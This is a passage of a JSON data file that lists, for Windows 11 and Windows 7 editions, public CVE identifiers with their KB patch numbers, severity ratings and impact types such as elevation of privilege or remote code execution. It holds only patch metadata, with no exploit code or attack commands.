11 Version 23H2 for x64-based Systems":[{"cve":"CVE-2021-45985","kb":"5044285","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-31096","kb":"5073455","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032190","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034765","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041585","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043076","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048685","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044285","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5050021","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-21333","kb":"5050021","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053602","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053602","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053602","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053602","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055528","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058405","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058405","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060999","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066793","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062552","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062552","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063875","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063875","severity":"Important","impact":"Elevation of Privilege"}],"Windows 11 Version 24H2 for ARM64-based Systems":[{"cve":"CVE-2021-45985","kb":"5050009","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-31096","kb":"5074109","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041571","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043080","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048667","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044284","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5050009","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-21333","kb":"5050009","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053598","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053598","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053598","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053598","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055523","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058411","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058411","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060842","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066835","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062553","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063878","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063878","severity":"Important","impact":"Elevation of Privilege"}],"Windows 11 Version 24H2 for x64-based Systems":[{"cve":"CVE-2021-45985","kb":"5050009","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-31096","kb":"5074109","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041571","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043080","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048667","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-6197","kb":"5044284","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2024-7344","kb":"5050009","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-21333","kb":"5050009","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24054","kb":"5053598","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053598","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053598","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053598","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055523","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058411","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058411","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5060842","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066835","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062553","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063878","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063878","severity":"Important","impact":"Elevation of Privilege"}],"Windows 11 Version 25H2 for ARM64-based Systems":[{"cve":"CVE-2023-31096","kb":"5074109","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-47827","kb":"5066835","severity":"Important","impact":"Security Feature Bypass"}],"Windows 11 Version 25H2 for x64-based Systems":[{"cve":"CVE-2023-31096","kb":"5074109","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-47827","kb":"5066835","severity":"Important","impact":"Security Feature Bypass"}],"Windows 11 version 21H2 for ARM64-based Systems":[{"cve":"CVE-2021-22947","kb":"5009566","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5007215","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015814","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014697","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013943","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-20569","kb":"5029253","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025224","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028182","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032192","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031358","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034766","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041592","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043067","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-6197","kb":"5044280","severity":"Important","impact":"Remote Code Execution"}],"Windows 11 version 21H2 for x64-based Systems":[{"cve":"CVE-2021-22947","kb":"5009566","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5007215","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-27776","kb":"5015814","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2022-30190","kb":"5014697","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2022-32230","kb":"5013943","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2023-20569","kb":"5029253","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025224","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028182","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-38039","kb":"5032192","severity":"Low","impact":"Denial of Service"},{"cve":"CVE-2023-44487","kb":"5031358","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-21338","kb":"5034766","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041592","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043067","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-6197","kb":"5044280","severity":"Important","impact":"Remote Code Execution"}],"Windows 7 for 32-bit Systems":[{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0232","kb":"977165","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981332","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2416472","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"}],"Windows 7 for 32-bit Systems Service Pack 1":[{"cve":"CVE-2010-3332","kb":"2416472","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901126","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2509","kb":"3087918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6127","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6130","kb":"3108670","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6131","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126593","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3192391","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197867","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3197867","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012212","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0045","kb":"4012212","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0101","kb":"4012215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0143","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012212","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4015549","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019264","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019264","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041681","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054518","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022719","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022719","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025341","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038777","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8685","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8710","kb":"4038777","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056894","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056894","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103718","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4103718","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088875","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093118","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8120","kb":"4103718","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103718","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457144","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462923","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462923","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457144","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462923","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467107","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467107","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103718","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480970","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0708","kb":"4499164","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0730","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493472","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0808","kb":"4489878","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530734","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534310","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537820","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540688","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550964","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556836","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556836","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571729","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571729","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003233","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003233","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003667","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005633","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006743","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014748","severity":"Important","impact":"Remote Code Execution"}],"Windows 7 for x64-based Systems":[{"cve":"CVE-2009-3555","kb":"980436","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3672","kb":"976325","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2009-3676","kb":"980232","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0249","kb":"978207","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0255","kb":"982381","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-0483","kb":"981332","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-0816","kb":"978542","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-2549","kb":"981957","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-2568","kb":"2286198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3147","kb":"2423089","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3227","kb":"2387149","severity":"Moderate","impact":"Remote Code Execution"},{"cve":"CVE-2010-3324","kb":"2360131","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3332","kb":"2416472","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"}],"Windows 7 for x64-based Systems Service Pack 1":[{"cve":"CVE-2010-3332","kb":"2416472","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2010-3971","kb":"2482017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-3972","kb":"2489256","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2010-3973","kb":"2508272","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2010-4398","kb":"2393802","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2010-4701","kb":"2491683","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2011-0096","kb":"2503658","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2011-0654","kb":"2511455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-1271","kb":"2518870","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2011-5046","kb":"2660465","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-1347","kb":"2847204","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901126","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code 